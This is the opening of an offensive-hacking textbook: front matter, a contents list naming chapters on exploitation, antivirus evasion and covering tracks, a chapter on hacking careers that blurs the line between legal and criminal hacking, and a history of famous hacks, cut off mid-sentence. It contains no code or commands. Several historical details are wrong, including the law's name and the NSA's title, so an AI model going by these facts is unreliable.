# Getting Started Becomi Master GK

Hacking is the Most Important Skill Set of the 21st Century!

Occupytheweb

## Getting Started Becoming a Master Hacker

By Occupytheweb

V 1.3

iii | Page

## Dedication

This book is dedicated to my three exquisite daughters who mean the world to me...

...and Laura, who offered emotional support and encouragement throughout.

Thank you

**v** | Page

## **About the Author**

Occupytheweb is the *nom de guerre* of a security researcher and forensic investigator with over 20 years in the industry. He is a former university professor who now offers hacker and information security courses at <u>www.hackers-arise.com</u>.

Occupytheweb has trained hackers at every one of the US military branches and the national intelligence agencies.

To learn more about Occupytheweb and listen to interviews with him, go to www.hackers-arise.com/otw-in-the-news

### Acknowledgements

I want to thank everyone from the Hackers-Arise community who offered their comments and questions during the early stages of developing this manuscript. In particular, I want to thank Artur Zeilinski for his diligent assistance and comment throughout this process. In addition, I want to thank a hacker known only to me as "Locke" for his assistance.

## Preface

#### My Friends:

Thank you for picking up this book. I hope you find it informative and enlightening. It is intended to help guide you into the most exciting career in the 21<sup>st</sup> Century!

Before you begin, I want to point out a few elements of this book that I hope you will enjoy.

#### Hacking Process and Strategy

Hacking is a process. It is not just learning a bunch of technologies and tools. The master hacker must be strategic and analytical in their approach. Unfortunately, I don't believe this has been emphasized enough among other introduction to hacking books. To that end, I hope you find this emphasis here useful and enlightening.

#### **Keep it Brief**

Knowing that few will read and study a 1000-page tome, I have tried to keep this book to a manageable size with the thought that those that want to learn more, there are many resources. There are a multitude of web sites (I tried to give you links to more in-depth information on hackers-arise.com) and innumerable books. This book is designed to get you started, not make you a master hacker. That is long journey, but this is the first step.

#### Case Study of the NSA's EternalBlue

To demonstrate key principles throughout this book, I have focused upon a case study of the NSA's EternalBlue exploit. This two year old exploit was stolen from the US espionage agency in 2017 and it was responsible for wreaking havoc around the world. It was integrated into many attacks including most famously the WannaCry, Petya, and NotPetya ransomware. In this book, I use it as a case study in vulnerability assessment in Chapter 7, exploitation in Chapter 9, sniffing for exploit analysis in Chapter 10, and Python in Chapter 16. I hope you find this approach informative and enlightening.

Happy Hacking,

OccupytheWeb

## TABLE OF CONTENTS

Dedication	3
About the Author	4
Acknowledgements	5
Preface	6
Chapter 1: Getting Started	1
Chapter 2: Essential Skills and Tools	18
Chapter 3: The Hacker Process	28
Chapter 4: Setting Up Our Lab	33
Chapter 5: Passive Reconnaissance	48
Chapter 6: Active Reconnaissance	78
Chapter 7: Vulnerability Scanning	99
Chapter 8: Password Cracking	118
Chapter 9: Metasploit Exploitation	143
Chapter 10: Sniffing and Protocol Analysis	178
Chapter 11: Post-Exploitation	199
Chapter 12: Web Hacking	214
Chapter 13: Evading Anti-Virus (AV)	235
Chapter 14: Covering Your Tracks	246
Chapter 15: Wi-Fi Hacking	257
Chapter 16: Malicious Python	282
Chapter 17: Social Engineering	307
Epilogue	323
Appendix A: Cryptography Basics for Hackers	324
Appendix B: Cyber Warrior Wisdom of OTW	329
Index	332

## **CONTENTS IN DETAIL**

Dedication		ii
About the Author	r	iii
Acknowledgeme	nts	iv
Preface		v
Table of Content	S	vi
Chapter 1: Get	tting Started	1
Professio	ons for Hackers	2
Black Ha	at v White Hat	4
History of	of Hacking	4
Legal Co	nsequences	14
Chapter 2: Ha	cker Essentials	18
Essential	Skills	19
ł	Fundamental Skills	19
I	ntermediate Skills	21
I	ntangible Skills	22
Essential	Tools	23
Chapter 3: The	e Hacker Process	28
Fingerpr	inting	29
Passive I	Reconnaissance	29
Active R	econnaissance	30
Password	d Cracking	30

	Exploitation	31
	Post Exploitation	32
	Covering Tracks	32
Chap	oter 4: Creating our Virtual Lab	33
	Downloading Kali	34
	Installing VirtualBox	36
	Installing Kali in VirtualBox	39
	Installing Your Target Systems	44
	Installing MySQL	46
Chap	oter 5: Passive Reconnaissance	48
	Google Hacking	49
	Netcraft	55
	Whois	59
	Shodan	61
	DNS	67
	p0F	72
Chap	oter 6: Active Reconnaissance	78
	Nmap	79
	Hping	87
	Whatweb	93
	Builtwith	96
Chap	oter 7: Finding Vulnerabilities	99
	Finding the EternalBlue Vulnerability	101
	Nessus	102
	OWASP-ZAP	111

Chapter 8: Password Cracking	118
Password Cracking Fundamentals	119
Password Cracking Strategy	122
Cracking Passwords with john	123
Creating Custom Password Lists	127
Hashcat	135
Windows Password Hashes	138
Remote Password Cracking with Medusa	139
Chapter 9: Exploitation with Metasploit 5	143
Introduction to Metasploit	144
Keywords and Commands	145
Strategy for Finding the Proper Module	150
Directory Structure of Metasploit	151
Reconnaissance with Metasploit	156
Vulnerability Scanning	158
Exploitation with EternalBlue	160
Adding a New Module	164
Creating a Malicious File with msfvenom	168
Using msfvenom for Exploitation when You have Physical Access	174
Chapter 10: Packet Sniffing and Analysis	178
Sniffing with tcpdump	179
Sniffing with Wireshark	184
Wireshark Analysis of EternalBlue	192
Chapter 11: Post Exploitation	199
Post Exploitation Metasploit Modules	200
Idletime	203
Hashdump	203
	xii   Page

H W O Chapter Ca W Ti Ca Si Si Chapter W Ta	<pre>/hat is Shellcode WASP-ZSC 14: Covering Your Tracks overing Your Tracks with the meterpreter evutil to Delete Logs innestomp overing Tracks on Linux Systems emoving Command History nredding Command History</pre>	<ul> <li>237</li> <li>238</li> <li>246</li> <li>247</li> <li>248</li> <li>249</li> <li>250</li> <li>251</li> <li>252</li> <li>257</li> <li>258</li> <li>258</li> </ul>
H W O Chapter C W Ti C C R S S S S S	That is Shellcode WASP-ZSC 14: Covering Your Tracks overing Your Tracks with the meterpreter evutil to Delete Logs imestomp overing Tracks on Linux Systems emoving Command History nredding Command History 15: Wi-Fi Hacking 7i-Fi Basics	<ul> <li>237</li> <li>238</li> <li>246</li> <li>247</li> <li>248</li> <li>249</li> <li>250</li> <li>251</li> <li>252</li> <li>257</li> <li>258</li> </ul>
H W O Chapter C W Ti C C R S S S	That is Shellcode WASP-ZSC 14: Covering Your Tracks overing Your Tracks with the meterpreter evutil to Delete Logs imestomp overing Tracks on Linux Systems emoving Command History nredding Command History 15: Wi-Fi Hacking	<ul> <li>237</li> <li>238</li> <li>246</li> <li>247</li> <li>248</li> <li>249</li> <li>250</li> <li>251</li> <li>252</li> <li>257</li> </ul>
H W O Chapter Cu W Ti Cu Ra Sh	That is Shellcode WASP-ZSC <b>14: Covering Your Tracks</b> overing Your Tracks with the meterpreter evutil to Delete Logs imestomp overing Tracks on Linux Systems emoving Command History hredding Command History	<ul> <li>237</li> <li>238</li> <li>246</li> <li>247</li> <li>248</li> <li>249</li> <li>250</li> <li>251</li> <li>252</li> </ul>
H W O Chapter Ca W Ti Ca R G	That is Shellcode WASP-ZSC 14: Covering Your Tracks overing Your Tracks with the meterpreter evutil to Delete Logs imestomp overing Tracks on Linux Systems emoving Command History medding Command History	237 238 <b>246</b> 247 248 249 250 251 252
H W O Chapter C W Ti C Q R	That is Shellcode WASP-ZSC 14: Covering Your Tracks overing Your Tracks with the meterpreter evutil to Delete Logs imestomp overing Tracks on Linux Systems emoving Command History	<ul> <li>237</li> <li>238</li> <li>246</li> <li>247</li> <li>248</li> <li>249</li> <li>250</li> <li>251</li> </ul>
H W O Chapter C W Ti C	<ul> <li>WASP-ZSC</li> <li>14: Covering Your Tracks</li> <li>overing Your Tracks with the meterpreter</li> <li>evutil to Delete Logs</li> <li>imestomp</li> <li>overing Tracks on Linux Systems</li> </ul>	<ul> <li>237</li> <li>238</li> <li>246</li> <li>247</li> <li>248</li> <li>249</li> <li>250</li> </ul>
H W O Chapter Co W Ti	<ul> <li>That is Shellcode</li> <li>WASP-ZSC</li> <li><b>14: Covering Your Tracks</b></li> <li>overing Your Tracks with the meterpreter</li> <li>evutil to Delete Logs</li> <li>imestomp</li> </ul>	<ul> <li>237</li> <li>238</li> <li>246</li> <li>247</li> <li>248</li> <li>249</li> </ul>
H W O Chapter Co w	That is Shellcode WASP-ZSC <b>14: Covering Your Tracks</b> overing Your Tracks with the meterpreter evutil to Delete Logs	<ul> <li>237</li> <li>238</li> <li>246</li> <li>247</li> <li>248</li> </ul>
H W O <b>Chapter</b>	<ul> <li>That is Shellcode</li> <li>WASP-ZSC</li> <li><b>14: Covering Your Tracks</b></li> <li>overing Your Tracks with the meterpreter</li> </ul>	<ul> <li>237</li> <li>238</li> <li>246</li> <li>247</li> </ul>
H W O Chapter	<ul> <li>That is Shellcode</li> <li>WASP-ZSC</li> <li>14: Covering Your Tracks</li> </ul>	237 238 246
H W O	/hat is Shellcode WASP-ZSC	237 238
H- W	That is Shellcode	237
$\mathrm{H}_{0}$		230
	ow Anti-Virus Software Works	236
М	letasploit's Evasion Modules	236
Chapter	13: Evading Anti-Virus	235
A	ttacking wordPress Sites	224
SU	QL Injection	216
W		216
A	pproaches to Web Hacking	215
Chapter	12: Web Hacking	214
М	lySQL Post Exploitation	210
A	rpscanner	209
М	limikatz	208
Μ	licrophone	207
K	eylogger	205
W	Veb Cams	204

	Security Protocols	259
	Wi-Fi Adapter for Hacking	260
	Attacking Wi-Fi APs	263
	WPA2-PSK	265
	WPS Attack	268
	Evil Twin Attack	270
	AP DoS Attack	275
	PMKID Attack	276
Chapt	er 16: Malicious Python	282
	Python Modules	283
	Pip	283
	OOP	284
	Pycharm IDE	285
	Variables	286
	Comments	289
	Functions	290
	Lists	291
	Modules	292
	Network Communication in Python	292
	Dictionaries, Loops and Control Statements	295
	Exceptions and Password Crackers	300
	Python for Exploiting EternalBlue	302
Chapt	er 17: Social Engineering	307
•	What is Social Engineering in Cyber Security?	308
	Social Engineering Vectors	310
	Social Engineering Concepts and Strategies	309
	Social Engineering Tools and Technologies	311
	Social Engineering with Metasploit	320

Epilogue	323
Appendix A: Cryptography Basics	324
Appendix B: Cyber Warrior Wisdom	329
Index	332



## 1

## **Introduction to Master Hacker**

"The journey of a thousand miles begins with the first step"

LaoTzu



#### Welcome back, my aspiring master hackers! I was inspired to write this book to follow on my unexpectedly successful *Linux Basics for Hackers*. So many of you wrote and asked when I would write another to help them continue their journey from novice to master hacker. So here we are.

I hope you enjoy and gain from reading this book.

I had a wonderful time writing it!

In my previous book, *Linux Basics for Hackers*, I began by saying, "Hacking is the most important skill set of the 21<sup>st</sup> century." Today—two years later—I want to re-emphasize that this statement is even more true. Each and every day—in our increasingly digitized world—our privacy, our safety, our national security, our identity, and our hard-won earnings are at risk. Hacking--once the realm of a few geeky computer enthusiasts--has now grown up to **become one of the most sought-after skill sets in the world**. From national governments, espionage agencies and militaries, to information security firms and, of course, cybercrime enterprises—all are seeking highly-skilled hackers. This book is designed to guide and train you toward that profession, whatever your end goal might be.

Before we embark upon this journey, let's examine few areas to help us gain perspective on this industry and profession, namely;

- 1. Legitimate professions open to hackers;
- 2. The history of hacking, to give you some appreciation and perspective of our discipline;
- 3. The legal consequences of hacking, to help keep you out of the harm's way.

#### **Professions for Hackers**

Initially, hacking was thought to be the profession of a few antisocial, geeky individuals who did it for fun, lulz or profit. By 2019, it has become a legitimate profession widely sought-after by many organizations and governments. Here are just a few of the legitimate employment opportunities for master hackers as you plan your future.

#### **National Security**

Nearly each and every national security agency from around the world use hackers. Obviously, the United States, China, Israel, Russia, United Kingdom, and Iran are the most active, but nearly every national government has an offensive cyber security element. These national security agencies are desperately seeking well-trained hackers to protect their nations and attack their adversaries. This particularly applies to the field of SCADA/ICS (Supervisory Control and Data Acquisition/Industrial Control Systems) hacking, where nations can disable or destroy industrial plants and infrastructure in time of cyberwar, such as petroleum plants or the electrical grid (see Russia's attacks against the Ukrainian electrical grid at www.hackers-arise/scada-hacking).

#### **National Espionage**

In the past, every government employed scores of "cloak and dagger" spies, but in this digital age, spying via hacking is cheaper, safer, and more reliable. Don't get me wrong, there are still thousands of spies plying their craft around the world, but more and more national espionage agencies are relying on the much cheaper, safer, and reliable digital spying. Of course, to do so they need good hackers.

#### Military

In an era where even the troops in the field are using sophisticated digital equipment, national militaries are using hackers in the field and on the frontline. I'm proud to say that I trained the U.S. Army's first

field hacker unit (for the Special Forces at Ft. Campbell, Kentucky) several years ago. They and every other government will be using hackers in the field in military operations to knock out or control the adversaries' communications and other digital equipment.

#### **Penetration Testing or Pentesting**

Now that companies and institutions around the world are increasingly aware and concerned about cyber threats, they are hiring firms to test the security of their systems. Conducting a penetration test, or pentest, is one of the best ways to make certain these systems are safe and secure. A pentest is essentially a form of legal hacking. The company hires these hackers or pentesters to try to hack into their systems to determine how secure they are. The general idea is to have the good-guy hackers hack your systems before the bad guys. At the end of the pentest, these hackers then provide a report to the organization detailing the weaknesses in their network and systems so that they can be repaired or hardened. This field has grown rapidly over the last decade and continues to grow.

#### **Bug Bounty Hunting**

One of the newest areas of hacking is known as bug bounty hunting. Corporations, organizations, and websites are now offering rewards (bounties) to hackers who can find vulnerabilities (bugs) in their software before the general public becomes aware of them. Some of these bounties are as large as \$1 million. Many of the largest organizations in the United States now offer bug bounties, including Microsoft, Google, Facebook and the U.S. Department of Defense. In 2019, it was announced that an Argentinian teenager, Santiago Lopez, was the first bug bounty hunter to earn \$1 million.

#### Zero-Day Developer

Probably at the top of the hacker pyramid are the zeroday developers Some hackers develop zero-days and then sell them to cyber crime gangs or national espionage agencies such as NSA (the U.S. National Security Administration) or GCHQ (Britian's Government Communications Headquarters). These zero-day exploits can sell for millions of dollars as they enable national espionage agencies to spy on their

Zero-day exploits are exploits or hacks that have never seen before hence the information security industry has had zero days to respond with defenses. Zero-days are the "Holy Grail" of hackers

adversaries and their own citizens. There are even companies who specialize in developing and selling zero-days such as Germany's Gamma Group, France's Zupen, Israel's NSO Group, or Italy's Hacking Team. In addition, the EternalBlue exploit that was stolen from the NSA in 2017 and became a critical element of such ransomware as WannaCry and Petya (both of which led to the shuttering of many organizations and the paying of millions of dollars in ransom) was likely developed by one of these zero-day developers for the NSA.

#### Information Security (Infosec) Engineers

Hackers make the best information security engineers. Not everyone who studies hacking will be breaking into a foreign power's state secrets. Many newly minted hackers will become the people guarding state secrets. In brief, the people who are best at protecting any digital resource are those who know how others can break in. That's just common sense, but unfortunately that common sense isn't always reflected by the hires of CISOs (Chief Information Security Officer) and others in charge of information security engineers. But that is changing.

I think the wisdom of hiring hackers as information security engineers might be reflected in military or sports strategy. Can you imagine a general whose task it was to guard the nation's capital not being familiar with the offensive tactics of the adversary? Of course not! The same analogy can be applied to sports. How about a basketball coach who doesn't understand the opposing team's plays and strategies to score? How effective of a defense could they mount? I think it goes without saying that you need to understand the offense of the opposition (hacking) to mount an effective defense (information security). For more on why hackers make better information security engineers, see my article "Why Hackers Make the Best Information Security Engineers" at www.hackers-arise.com.

#### **Linux Skills**

To begin, if you haven't read my *Linux Basics for Hackers*, I suggest you pause now, pick it up and study it. Read it and do the exercises. It's a good starting point in your journey from novice to master hacker. In this book, I will assume you have some basics Linux skills that covered in that book.

#### A Word about Black Hat v. White Hat

Nearly every "hacking" book discusses the concept of white hat hacker vs. black hat hacker. In our modern world, the distinctions have become blurred. For instance, Russia, the United States, and China are hacking each other 24/7 for geopolitical advantage. From the perspective of the United States, the Russian hacker might be considered a black hat, while in Russia they would be celebrated as heroes. Of course, the same applies in reverse. U.S. hackers intruding upon China are well-paid and well-respected members of the military or intelligence community with nice homes in the suburbs and 2.5 children, but are considered criminal or black hats in China. I hope you get the idea. Context and perspective are critical in making the distinction, one I prefer not to make. I maintain the terms are anachronistic in 2020.

In the old days—meaning way back to 2010—there were basically two types of hackers, but today there are many types and many motivations. As a result, I will avoid the distinction and if I refer to any hat at all, I will call them white hats.

#### **History of Hacking**

Before you begin this journey to becoming a Master Hacker, let's take a look back at the history of hacking.

Hacking has a long and storied history in the United States and around the world. It did not begin yesterday—or even at the advent of the twenty-first century—but rather dates back nearly forty years. Although there was little hacking activity in the 1980s, once the Internet migrated to commercial use in the 1990s, hacking went into hyper-drive.

To those of you unaware of our long and proud history, I want to dedicate the following to provide you with some of the highs and lows of this nearly 40-year history. It would be impossible to list every hack or hacker over the last 40 years, even if this were a 500-page book, so I will limit myself to a brief history and only try to touch upon the most significant hacks over that period of time.

It's important to note that we are limited in this history to only discussing hacks that were made public. Those that were not reported by their victims (national governments and large corporations are reluctant to report intrusions for fear of embarrassment and damage to their reputation) or were never discovered, cannot be included for obvious reasons. So, of course, that biases this exposition to only those who were caught.

#### **Famous People Who Were Hackers**

Before we delve into this history of hacking, let's take a look at some prominent people who were once hackers. In reality, there are many respectable people in IT and IT security that have a hacker background, but few are willing to admit it. I personally know CIOs (Chief Information Officers) and CTOs (Chief Technology Officers) of major corporations in the United States who have admitted to me that they were once hackers, but they won't say so on the record and really don't want their employers to know.

#### **Steve Jobs**

Before there was an Apple computer, Mac, iPod, iPad, or iPhone, Steve Jobs and his partner, Steve Wozniak, were developing a tool that became known as the "Blue Box" in 1972. This tool was capable of replicating the audio tones used by the telephone company (Yes, once upon a time there was just one telephone company in the United States) to enable long-distance calls without paying for them.



#### Julian Assange

Long before WikiLeaks, Julian Assange was an infamous teenage hacker in Australia. As a sixteen-year-old in Australia, Assange, aka Mendax, was hacking into the US Department of Defense, NASA, the US Navy, MILNET, Citibank, and Lockheed Martin, among many others. By 1991, Assange was caught hacking Nortel and was arrested and charged with thirty-one counts of computer crimes. In



1996, he pled guilty to twenty-five counts and paid a minimal fine with no jail time.

#### **Kevin Poulsen**

Now known as an author and astute tech writer for WIRED magazine, Kevin Poulsen, was first a hacker. He is best known for hacking the phone system of KIIS-FM in Los Angeles to make certain he was the 102nd caller, which won him the prize of a new Porsche 944. Poulsen was caught by the FBI and sentenced to five years in the federal penitentiary with a three-year ban on using the Internet.

#### Mudge (aka Peiter Zatko)

Mudge was the most prominent member of the hacker super group, Cult of the Dead Cow (cDc) that was responsible for the development of BackOrifice (one of early exploits of Windows 95 and 98 giving the attacker complete control of the remote system) and a heightening awareness of information security in the early days of the Internet (see the History of Hacking later in this chapter). In addition, Mudge was a leading member of the L0pht Heavy Industries and developed the widely used password cracker, Lophtcrack (it's still in Kali). Unlike some other hackers, Mudge steered clear of breaking any laws and eventually advised President Bill Clinton on cyber security. He then took a job as project manager of a Defense



Advanced Research Projects Agency (DARPA) project focused on directing research in cyber security. As of 2017, he is the head of security at credit card processor Stripe (in 2019, it was revealed that US presidential candidate Beto O'Rourke was also a member of the cult of the Dead Cow).

#### In the Beginning...

There really is no clear-cut beginning, unlike the Bible. Almost as soon as there were electronic computers (ENIAC was developed for military ballistics work in 1946), there were hackers. Most of these hacks were minor, without major dollar losses or legal implications. Many people point to one event that may have marked the beginning of awareness of the risks and significance of computer hacking.

Lawrence Livermore National Laboratory in Berkeley, CA was developed during WWII to do research on atomic weapons. After the war and up to the present, it continued to work on nuclear weapons development. During the Cold War between the US and USSR, this lab was the target and focus of espionage, as it held secrets that could give either nation an upper hand in any conflict.

In 1986, at the height of the Cold War, Clifford Stoll, an astronomer working in IT at the lab, was asked to resolve a \$0.75 accounting error on the timeshare (back then, many people shared time on one large mainframe computer) system. In his research, Stoll discovered that there was an unauthorized user on the system. Stoll was able to trace the new, unauthorized user back to Germany.

Stoll contacted the FBI, CIA, and other law enforcement agencies but received little or no help. Eventually, he set up fake files containing "national secrets" that the attacker found and stole. This is probably the first reported use of a virtual honeypot in history. Eventually, the trail led to a hacker in Germany named Markus Hess. He was stealing these nuclear secrets and passing them to the Soviet Union for compensation.

This event, probably more than any other, triggered the national consciousness to the risks of hacking and started the process of developing a legal framework to prohibit hacking.

#### Morris Worm - 1988

In November 1988, the young Internet almost came crashing down. A twenty-two-year-old Cornell University graduate student by the name of Robert Tappan Morris unleashed a worm that infected nearly 25 percent of the computers on the Internet (admittedly, there were few computers on the Internet back then). This was particularly embarrassing for his father, who was a prominent NSA scientist and, at the time, head of IT security for the world's largest computer company, IBM.

Eventually, Morris became the first person to be prosecuted under the Computer Abuse and Fraud Act of 1986 (Title 18, Section 1030 of the U.S.C. see Legal Stuff below). This same law is still used to prosecute most hacking crimes in the United States. Morris was sentenced to three-years probation and 400 hours of community service. Dr. Morris is now a tenured professor at the Massachusetts Institute of Technology (MIT).

#### Melissa Virus - 1999

The Melissa virus was a milestone in virus development as it was a macro virus. This means that it used macros embedded in MS Office documents to do its dirty work. This may have been the most successful virus in computing history, reportedly infecting up to one in every five computers worldwide.

Eventually, the developer of the Melissa virus, David L. Smith, was caught and prosecuted. Authorities tracked the GUID (Global Unique ID) of the Microsoft Office documents containing the virus to catch Smith. He plead guilty and was sentenced to ten years in prison.

#### Back Orifice and BackOrifice 2000 1998-1999

Back Orifice debuted in 1999 as a rootkit and remote administration tool (RAT) for Windows 95 and Windows 98 systems. Developed by the hackivist group Cult of the Dead Cow (Mudge was the most famous member and it now turns out that US presidential candidate, Beto O'Rourke also), it did much to heighten the awareness of the vulnerabilities of Windows systems to malware and spurred Microsoft to take security seriously.



This malware with an easy-to-use GUI, enabled the hacker to control nearly any Windows system from a remote location.

#### DMCA & Elcomsoft - 2001

The Digital Millennium Copyright Act (DMCA) of 2001 made it illegal to pirate copyrighted material and contained severe penalties for doing so. Still, almost as soon as the ink was dry on this law, the FBI arrested Dmitry Sklyarov of Elcomsoft as he came to the United States to attend Defcon (one of the most famous information security conferences) in Las Vegas. The FBI claimed that Sklyarov and Elcomsoft were trafficking software programs that could circumvent copyright protections, which made Sklyarov the first person arrested and prosecuted under this new law.

Elcomsoft is a Russian company that sells digital forensics software that can also be used for hacking. For instance, they produce one of the best password-cracking tools available anywhere. It was this password cracking software that the FBI considered illegal that lead to his arrest. Eventually, the FBI dropped the charges against Sklyarov and he was allowed to return to Russia. Elcomsoft, the company, was then prosecuted under this law and was found not guilty.

#### Anonymous Formed - 2003

Anonymous, the loosely organized hacking collective, made its first appearance in 2003. An outgrowth of the 4chan image boards, this group would gain greater fame than any other hacker organization.

It conducted numerous widely reported hacks including; Operation Chanology, an attack on the Church of Scientology's website; Operation Payback, the DDoS attacks against MasterCard,



Discover, Visa, and PayPal after they refused to allow people to use their services to send contributions to WikiLeaks; Operation Paris, in response to the 2015 terrorist attacks in Paris; Operation ISIS, an attempt to nullify ISIS recruiting efforts on the Internet; Operation Trump, an effort to keep Donald Trump from being elected president; and many others.

Several members, contributors, and readers of, Hackers-Arise.com, are also members of Anonymous.

#### TJX - 2007

TJX, the holding company of the off-price retailers such as TJ Maxx and Marshalls, lost nearly 45 million customer records and credit cards numbers when hackers were able to compromise their network through an unsecured wireless network. It was the largest data security breach up to that time.

The hackers found one of its stores had an unsecured wireless network that they were able to access from the parking lot. From there, they traversed the company network to the database servers holding the customer accounts and credit card numbers. TJX held all this data unencrypted, making the hacker's task extraordinarily easy.

#### Carder Market & Max Butler - 2007

An American hacker, Max Ray Butler, aka Max Vision, took over the world's largest black market for stolen credit cards numbers, Carders Market. Eventually, in 2007, Butler (also the founder of the Arachnids vulnerability database) was caught and sentenced to thirteen years in prison, the stiffest sentence imposed upon a hacker yet. Butler is cooperating with the Computer Emergency Response Team (CERT) and is likely to be released early as a result of his cooperation.

#### The Nation of Georgia and South Ossetia - 2008

Often marked as a milestone in the history of cyber warfare, Georgia, the former Soviet republic, was attacked with a massive DDoS attack against its internet architecture. As a result, all of the government and military internet-based communications were disabled, while Russian tanks and troops rolled into the Georgia province of South Ossetia. The DDoS attack was instigated by civilian hackers in Russia, probably at the direction of the Kremlin.

#### Conficker Worm - 2009

First detected in November 2008, the Conficker Worm struck fear into nearly every Windows user and their IT departments in 2009 and 2010. The worm used the vulnerability in Windows systems that became known as MS08-067 (Metasploit now has an exploit that tests for this vulnerability). The Conficker worm created one of the largest botnets in history, maybe as large as 15 million computer systems around the globe.

This worm gave the developer access to the personal information of the computer user while adding them to a massive worldwide botnet that could be used for DDoS (Distributed Denial of Service) attacks, password cracking, and spamming, among many other malicious activities. Despite concerted international efforts, no one is certain who was responsible for Conficker and what its ultimate purpose was.

#### **Operation Aurora - 2010**

In 2010, Google was the victim of a massive attack, presumably from Chinese state-sponsored hackers. These attacks were undertaken to compromise Google's Gmail service. Google speculated that Chinese authorities were seeking information on dissidents in their country that used Gmail to communicate. As a result, Google made a strategic decision to withdraw from the Chinese market, the world's largest.

#### Stuxnet - 2010

This was probably the most sophisticated hack of all time. Undoubtedly, this malware was developed by the NSA, probably in collaboration with Israel. Its intention was to slow Iranian nuclear development efforts and it accomplished that goal.

This worm was first released in the wild in 2009 and traveled around the world. It was soon discovered by security researchers, but its goal was unknown. Eventually, it found its way to the



offline uranium-enrichment facility in Natanz, Iran, where it infected the Siemens PLC controllers on the centrifuges used to enrich uranium. It did not disable them, but rather made them operate at speeds that were inadequate to properly enrich the uranium, all the while reporting to the control room that all was well.

This bit of malware was sophisticated and unique. First, it was very specific; it only infected the Siemens-produced controllers used on that enrichment facility. Second, it was harmless on all other infected computers. Only when it detected the target PLCs did it "phone home" for an upgrade. Third, it used a hash collision likely generated by NSA's supercomputers to bypass Microsoft's software-signing certificate authentication process. In all, the world has never seen such sophisticated malware, but I am sure that won't last for long. For more on Stuxnet, see <a href="https://www.hackers-arise.com/post/2019/11/01/scada-hacking-anatomy-of-the-stuxnet-attack">https://www.hackers-arise.com/post/2019/11/01/scada-hacking-anatomy-of-the-stuxnet-attack</a>

#### **PlayStation Network - 2011**

The PlayStation Network of Sony Corp. was hacked in April 2011, and over 77 million users' personally identifiable information (PII) was compromised. It was one of the largest data security breaches in history. Sony blamed Anonymous, but Anonymous denied involvement.

#### Aaron Swartz - 2011

Aaron Swartz was an icon and martyr for the cause of information freedom. Swartz is known for his development of the web syndication format RSS, and his involvement in the organization Creative Commons as well as partner in Reddit. In January 2011, Swartz was arrested by MIT police for connecting a computer to the MIT network and downloading academic journal articles. Federal prosecutors charged him with wire fraud and eleven violations of the Computer Fraud and Abuse Act,



US Title 18 Section 1030. These charges could have meant up to thirty-five years in prison for Swartz.

Distraught over the heavy-handed grandstanding by the federal prosecutor that would place him behind bars, Swartz took his own life, hanging himself in his Brooklyn apartment.

In August 2013, Aaron Swartz was inducted into the Internet Hall of Fame.

#### Jeremy Hammond - 2013

Jeremy Hammond was a computer hacker and hacktivist who was convicted and sentenced in November 2013 to ten years in federal prison for hacking Stratfor, the private foreign intelligence firm, and releasing the information and emails to WikiLeaks. Interestingly, the presiding judge at his trial, Loretta Preska, had ties to Stratfor through her husband, yet refused to recuse herself.

Hammond founded the website www.hackthissite.com at just age 18. Hammond had long been a staple in the information security community and is a good example of someone using their skills for the common good, despite being labeled as criminal by the US justice system.

#### Mt. Gox - 2011-2014

Mt. Gox, based in Tokyo, was one of the first bitcoin (digital cryptocurrency) exchanges and probably the most widely used. Started in 2010, it closed its website and exchange in 2014. During that time, over 850,000 bitcoins (\$450 million at the time and over \$41 billion presently) went missing from its exchange.

It was eventually revealed that Mt. Gox had been hacked numerous times over the years by various hackers. The CEO of Mt. Gox, Mark Karpeles, was arrested in 2015 for falsifying the account records to cover the losses.

#### Target / Home Depot Hack - 2013

In December 2013, Target revealed that its database servers had been hacked and millions of customers' data had been compromised. The hackers apparently exploited the point-of-sale (POS) systems that were running Windows XP to enter the network, then traveled to the database servers from there to extract the data.

Evidence points to a Russian cybercrime organization that purchased the exploit from a Russian teenager for \$1,700. Soon after the Target hack, major retailers across the U.S. experienced the same attack, most notably Home Depot. This attack was probably responsible for one of the largest data breaches in history, compromising over 100 million credit card numbers. It had a significant impact upon these retailers' reputation for information security and led to US credit card issuers to finally begin the transition to the more secure, chip-based credit cards, something the European issuers had done over a decade before.

#### Yahoo- 2013

In the largest data breach yet, hackers breached Yahoo's email service and stole 3 billion email account passwords. This breach haunted Yahoo for years and eventually led to it being acquired by Verizon.

#### Sony - 2014

Just before Christmas of 2014, Sony Entertainment's computer systems were hacked, presumably by the North Korean government, in response to a movie that Sony was about to release. This movie did not reflect well on the North Korean dictator, Kim Jong-un. The hackers were able to copy movies, emails, and confidential corporate documents that were very embarrassing to Sony. Independent researchers found evidence that the attack was likely an inside job by former employees who had a grudge against the corporation.

#### Hacking Team - 2015

In 2015, a company in Italy known as "Hacking Team" was hacked and had the contents of its email and file server posted online. What makes this hack so significant is that it clearly shows how hacking has become a legitimate business. Emails from their servers show that Hacking Team, like Vupen (the French exploit developer), developed zero-day exploits and sold them to governments around the world. These exploits are largely used by governments to watch and monitor their citizens' online activities.

#### Panama Papers Hack – 2016

Wealthy individuals around the world were exposed for evading taxes by using shell corporations set up in Panama by the shadowy law firm, Mossack Fonesca in 2016. Although no one went to prison due these revelations, the Prime Minister of Iceland, David Gunnlaugsson, was forced to resign for hiding assets in Panama and the UK prime minister, David Cameron, had to issue an apology for his family's use of the tax evasion methods (eventually he did resign over Brexit, but these revelations did not help his case). Estimates of the total tax revenue evaded by those involved exceeded \$200 billion! Those implicated by this hack included those two prime ministers, and also include; Vladimir Putin, the prime minister of Georgia, the prime minister of Ukraine, the Spanish royal family, the Saudi royal family, Lionel Messi, Tiger Woods, Simon Cowell and many others. For more on this hack, go to <a href="https://www.hackers-arise.com/post/2018/08/01/confessions-of-a-professional-hacker-how-hackers-obtained-the-secrets-of-the-panama-paper">https://www.hackers-arise.com/post/2018/08/01/confessions-of-a-professional-hacker-how-hackers-obtained-the-secrets-of-the-panama-paper</a>

#### The US Presidential Election of 2016

The 2016 US presidential election will likely go down as one of the most significant hacks in history. Presumably, the Russian state and Russian state-sponsored entities (GRU) endeavored to influence the election in favor of Donald Trump. These activities included posting divisive and false information on social media sites such a Facebook and Twitter and hacking the emails of Trump's opponent, Hillary Clinton, and her campaign manager, John Podesta. These emails were then

